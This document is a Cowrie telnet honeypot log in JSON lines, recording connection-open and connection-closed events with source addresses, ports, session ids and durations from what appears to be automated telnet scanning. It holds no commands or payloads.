{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":33730,"dst_ip":"159.203.135.109","dst_port":23,"session":"03aadf9d6837","protocol":"telnet","message":"New connection: 162.55.233.176:33730 (159.203.135.109:23) [session: 03aadf9d6837]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:19.026399Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":33734,"dst_ip":"159.203.135.109","dst_port":23,"session":"9bfed09df4d2","protocol":"telnet","message":"New connection: 162.55.233.176:33734 (159.203.135.109:23) [session: 9bfed09df4d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:19.035660Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":33746,"dst_ip":"159.203.135.109","dst_port":23,"session":"4e2b1a16c09c","protocol":"telnet","message":"New connection: 162.55.233.176:33746 (159.203.135.109:23) [session: 4e2b1a16c09c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:19.175812Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":58248,"dst_ip":"10.17.0.5","dst_port":23,"session":"577ff8f67bbe","protocol":"telnet","message":"New connection: 206.189.32.23:58248 (10.17.0.5:23) [session: 577ff8f67bbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:19.362453Z"}
{"eventid":"cowrie.session.closed","duration":31.143020153045654,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:19.819437Z","src_ip":"162.55.233.176","session":"c80759db844f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":33762,"dst_ip":"159.203.135.109","dst_port":23,"session":"49bc6535cdb5","protocol":"telnet","message":"New connection: 162.55.233.176:33762 (159.203.135.109:23) [session: 49bc6535cdb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:20.187342Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":33776,"dst_ip":"159.203.135.109","dst_port":23,"session":"5b968b1473f8","protocol":"telnet","message":"New connection: 162.55.233.176:33776 (159.203.135.109:23) [session: 5b968b1473f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:20.304372Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":33782,"dst_ip":"159.203.135.109","dst_port":23,"session":"4abb7ef14b62","protocol":"telnet","message":"New connection: 162.55.233.176:33782 (159.203.135.109:23) [session: 4abb7ef14b62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:20.348982Z"}
{"eventid":"cowrie.session.closed","duration":34.519805669784546,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:20.494946Z","src_ip":"162.55.233.176","session":"486d0533bd67","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.59633135795593,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:20.659111Z","src_ip":"162.55.233.176","session":"1cc8c59bf33d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.077009916305542,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:20.738391Z","src_ip":"162.55.233.176","session":"ab3026522a7a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.9223096370697,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:20.773960Z","src_ip":"162.55.233.176","session":"0a8480f26e10","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.78843903541565,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:20.892981Z","src_ip":"162.55.233.176","session":"20da7501bd04","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":33790,"dst_ip":"159.203.135.109","dst_port":23,"session":"a319c8f91830","protocol":"telnet","message":"New connection: 162.55.233.176:33790 (159.203.135.109:23) [session: a319c8f91830]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:21.208117Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":33796,"dst_ip":"159.203.135.109","dst_port":23,"session":"b4ff13590263","protocol":"telnet","message":"New connection: 162.55.233.176:33796 (159.203.135.109:23) [session: b4ff13590263]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:21.452355Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":34996,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b6aa0646b40","protocol":"telnet","message":"New connection: 206.189.32.23:34996 (10.17.0.5:23) [session: 4b6aa0646b40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:21.474411Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":33800,"dst_ip":"159.203.135.109","dst_port":23,"session":"a0e79f781231","protocol":"telnet","message":"New connection: 162.55.233.176:33800 (159.203.135.109:23) [session: a0e79f781231]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:21.527465Z"}
{"eventid":"cowrie.session.closed","duration":34.97730088233948,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:21.692935Z","src_ip":"162.55.233.176","session":"593c4288b563","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":33810,"dst_ip":"159.203.135.109","dst_port":23,"session":"81d89b95223a","protocol":"telnet","message":"New connection: 162.55.233.176:33810 (159.203.135.109:23) [session: 81d89b95223a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:22.076198Z"}
{"eventid":"cowrie.session.closed","duration":30.313369274139404,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:22.162355Z","src_ip":"162.55.233.176","session":"298e86b70a88","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":33820,"dst_ip":"159.203.135.109","dst_port":23,"session":"15add212127d","protocol":"telnet","message":"New connection: 162.55.233.176:33820 (159.203.135.109:23) [session: 15add212127d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:22.268195Z"}
{"eventid":"cowrie.session.closed","duration":35.00136947631836,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:22.307751Z","src_ip":"162.55.233.176","session":"9fb99718cf6c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.32500147819519,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:22.354572Z","src_ip":"162.55.233.176","session":"ca99471d95fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":33834,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b4b1338f9f5","protocol":"telnet","message":"New connection: 162.55.233.176:33834 (159.203.135.109:23) [session: 9b4b1338f9f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:22.368890Z"}
{"eventid":"cowrie.session.closed","duration":31.17311692237854,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:22.668679Z","src_ip":"162.55.233.176","session":"b9083bf62f6a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.063906192779541,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:23.251131Z","src_ip":"162.55.233.176","session":"49bc6535cdb5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.221437215805054,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:23.567386Z","src_ip":"162.55.233.176","session":"645d3b3069b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":53102,"dst_ip":"159.203.135.109","dst_port":23,"session":"52af5270ab63","protocol":"telnet","message":"New connection: 162.55.233.176:53102 (159.203.135.109:23) [session: 52af5270ab63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:23.612014Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":53112,"dst_ip":"159.203.135.109","dst_port":23,"session":"746f6e91f8ca","protocol":"telnet","message":"New connection: 162.55.233.176:53112 (159.203.135.109:23) [session: 746f6e91f8ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:23.718397Z"}
{"eventid":"cowrie.session.closed","duration":33.98535418510437,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:23.755869Z","src_ip":"162.55.233.176","session":"61550f4b6665","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.64952826499939,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:23.883016Z","src_ip":"162.55.233.176","session":"6bbf60962589","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":53124,"dst_ip":"159.203.135.109","dst_port":23,"session":"71b4834f40de","protocol":"telnet","message":"New connection: 162.55.233.176:53124 (159.203.135.109:23) [session: 71b4834f40de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:23.916028Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":53130,"dst_ip":"159.203.135.109","dst_port":23,"session":"f62097331201","protocol":"telnet","message":"New connection: 162.55.233.176:53130 (159.203.135.109:23) [session: f62097331201]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:23.927749Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":53146,"dst_ip":"159.203.135.109","dst_port":23,"session":"8274a0b38a65","protocol":"telnet","message":"New connection: 162.55.233.176:53146 (159.203.135.109:23) [session: 8274a0b38a65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:24.131123Z"}
{"eventid":"cowrie.session.closed","duration":30.735225915908813,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:24.273485Z","src_ip":"162.55.233.176","session":"60651279d4d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.402809381484985,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:24.562957Z","src_ip":"162.55.233.176","session":"6ad535d629e3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.30468988418579,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:24.574901Z","src_ip":"162.55.233.176","session":"6d9c213c4b6d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.939626693725586,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:24.624729Z","src_ip":"188.208.141.113","session":"7f7286359bfb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.63144326210022,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:24.700639Z","src_ip":"162.55.233.176","session":"06a5428928f0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":53162,"dst_ip":"159.203.135.109","dst_port":23,"session":"41e6354de209","protocol":"telnet","message":"New connection: 162.55.233.176:53162 (159.203.135.109:23) [session: 41e6354de209]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:24.719722Z"}
{"eventid":"cowrie.session.closed","duration":32.19775056838989,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:24.728462Z","src_ip":"162.55.233.176","session":"36ce0a596125","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.19403004646301,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:24.741016Z","src_ip":"162.55.233.176","session":"1d1ee7d2700a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.461270093917847,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:25.398036Z","src_ip":"162.55.233.176","session":"d24c94c73d21","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":38530,"dst_ip":"10.17.0.5","dst_port":23,"session":"3558c4ea0627","protocol":"telnet","message":"New connection: 206.189.32.23:38530 (10.17.0.5:23) [session: 3558c4ea0627]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:25.518313Z"}
{"eventid":"cowrie.session.closed","duration":35.2303192615509,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:25.798874Z","src_ip":"162.55.233.176","session":"0655fd98f6e7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.3035101890564,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:25.985325Z","src_ip":"162.55.233.176","session":"89c0a9e08666","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":53170,"dst_ip":"159.203.135.109","dst_port":23,"session":"f2238407e21a","protocol":"telnet","message":"New connection: 162.55.233.176:53170 (159.203.135.109:23) [session: f2238407e21a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:26.073399Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":53178,"dst_ip":"159.203.135.109","dst_port":23,"session":"944f78d083a5","protocol":"telnet","message":"New connection: 162.55.233.176:53178 (159.203.135.109:23) [session: 944f78d083a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:26.635857Z"}
{"eventid":"cowrie.session.closed","duration":34.63241910934448,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:26.678804Z","src_ip":"162.55.233.176","session":"280df9ce2031","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.53524875640869,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:27.393077Z","src_ip":"162.55.233.176","session":"6ce5c13cced4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":53184,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a11822d720d","protocol":"telnet","message":"New connection: 162.55.233.176:53184 (159.203.135.109:23) [session: 4a11822d720d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:27.544743Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":53194,"dst_ip":"159.203.135.109","dst_port":23,"session":"3dcade6db831","protocol":"telnet","message":"New connection: 162.55.233.176:53194 (159.203.135.109:23) [session: 3dcade6db831]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:27.552130Z"}
{"eventid":"cowrie.session.closed","duration":37.090572118759155,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:27.569937Z","src_ip":"162.55.233.176","session":"339e466d2f34","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":53204,"dst_ip":"159.203.135.109","dst_port":23,"session":"7a542b53337f","protocol":"telnet","message":"New connection: 162.55.233.176:53204 (159.203.135.109:23) [session: 7a542b53337f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:27.888519Z"}
{"eventid":"cowrie.session.closed","duration":34.41006422042847,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:28.183979Z","src_ip":"162.55.233.176","session":"1a6740ae63d7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":53212,"dst_ip":"159.203.135.109","dst_port":23,"session":"2f4bd5b3aa35","protocol":"telnet","message":"New connection: 162.55.233.176:53212 (159.203.135.109:23) [session: 2f4bd5b3aa35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:28.229865Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":53224,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab0acf3b36d5","protocol":"telnet","message":"New connection: 162.55.233.176:53224 (159.203.135.109:23) [session: ab0acf3b36d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:28.862534Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":53232,"dst_ip":"159.203.135.109","dst_port":23,"session":"de5767d1d733","protocol":"telnet","message":"New connection: 162.55.233.176:53232 (159.203.135.109:23) [session: de5767d1d733]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:29.067056Z"}
{"eventid":"cowrie.session.closed","duration":30.714648962020874,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:29.297601Z","src_ip":"162.55.233.176","session":"0384da2c6a8a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":53236,"dst_ip":"159.203.135.109","dst_port":23,"session":"8601d834c044","protocol":"telnet","message":"New connection: 162.55.233.176:53236 (159.203.135.109:23) [session: 8601d834c044]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:29.312727Z"}
{"eventid":"cowrie.session.closed","duration":31.83374047279358,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:29.523719Z","src_ip":"162.55.233.176","session":"8aa7f67d2dd2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":53250,"dst_ip":"159.203.135.109","dst_port":23,"session":"089fefb0577b","protocol":"telnet","message":"New connection: 162.55.233.176:53250 (159.203.135.109:23) [session: 089fefb0577b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:29.623246Z"}
{"eventid":"cowrie.session.closed","duration":34.256298542022705,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:29.749690Z","src_ip":"162.55.233.176","session":"73337b12dff6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":53266,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd70e832180b","protocol":"telnet","message":"New connection: 162.55.233.176:53266 (159.203.135.109:23) [session: dd70e832180b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:29.789423Z"}
{"eventid":"cowrie.session.closed","duration":32.09303069114685,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:29.794835Z","src_ip":"162.55.233.176","session":"848ca12318e5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":53278,"dst_ip":"159.203.135.109","dst_port":23,"session":"857b07facfbc","protocol":"telnet","message":"New connection: 162.55.233.176:53278 (159.203.135.109:23) [session: 857b07facfbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:29.808244Z"}
{"eventid":"cowrie.session.closed","duration":36.38929533958435,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:29.867880Z","src_ip":"162.55.233.176","session":"eb127f987768","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.58422112464905,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:29.970383Z","src_ip":"162.55.233.176","session":"aab65b6cde6f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.204707622528076,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:30.046021Z","src_ip":"162.55.233.176","session":"91ae3fec5f19","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.685921907424927,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:30.263331Z","src_ip":"162.55.233.176","session":"674261744152","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.435354471206665,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:30.364532Z","src_ip":"162.55.233.176","session":"d19936722f8c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":53288,"dst_ip":"159.203.135.109","dst_port":23,"session":"8613035452ab","protocol":"telnet","message":"New connection: 162.55.233.176:53288 (159.203.135.109:23) [session: 8613035452ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:30.390034Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":53302,"dst_ip":"159.203.135.109","dst_port":23,"session":"242889cce4ec","protocol":"telnet","message":"New connection: 162.55.233.176:53302 (159.203.135.109:23) [session: 242889cce4ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:30.486493Z"}
{"eventid":"cowrie.session.closed","duration":31.29644274711609,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:30.819801Z","src_ip":"162.55.233.176","session":"07cbfd8b146a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":53314,"dst_ip":"159.203.135.109","dst_port":23,"session":"d1e1d9afc8f4","protocol":"telnet","message":"New connection: 162.55.233.176:53314 (159.203.135.109:23) [session: d1e1d9afc8f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:30.876534Z"}
{"eventid":"cowrie.session.closed","duration":31.16510272026062,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:30.882270Z","src_ip":"162.55.233.176","session":"ef5fd9192ccb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":53326,"dst_ip":"159.203.135.109","dst_port":23,"session":"c7f5909647ef","protocol":"telnet","message":"New connection: 162.55.233.176:53326 (159.203.135.109:23) [session: c7f5909647ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:30.973404Z"}
{"eventid":"cowrie.session.closed","duration":31.238476991653442,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:31.731606Z","src_ip":"162.55.233.176","session":"e1721a44c617","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.186686515808105,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:31.839758Z","src_ip":"162.55.233.176","session":"7c6fad863916","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.620068073272705,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:31.942544Z","src_ip":"162.55.233.176","session":"e47ba37f410c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":53338,"dst_ip":"159.203.135.109","dst_port":23,"session":"2cf210a82bae","protocol":"telnet","message":"New connection: 162.55.233.176:53338 (159.203.135.109:23) [session: 2cf210a82bae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:31.987523Z"}
{"eventid":"cowrie.session.closed","duration":2.702604293823242,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:32.015210Z","src_ip":"162.55.233.176","session":"8601d834c044","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.54187846183777,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:59:32.333766Z","src_ip":"162.55.233.176","session":"a728cfa57a26","protocol":"telnet"}
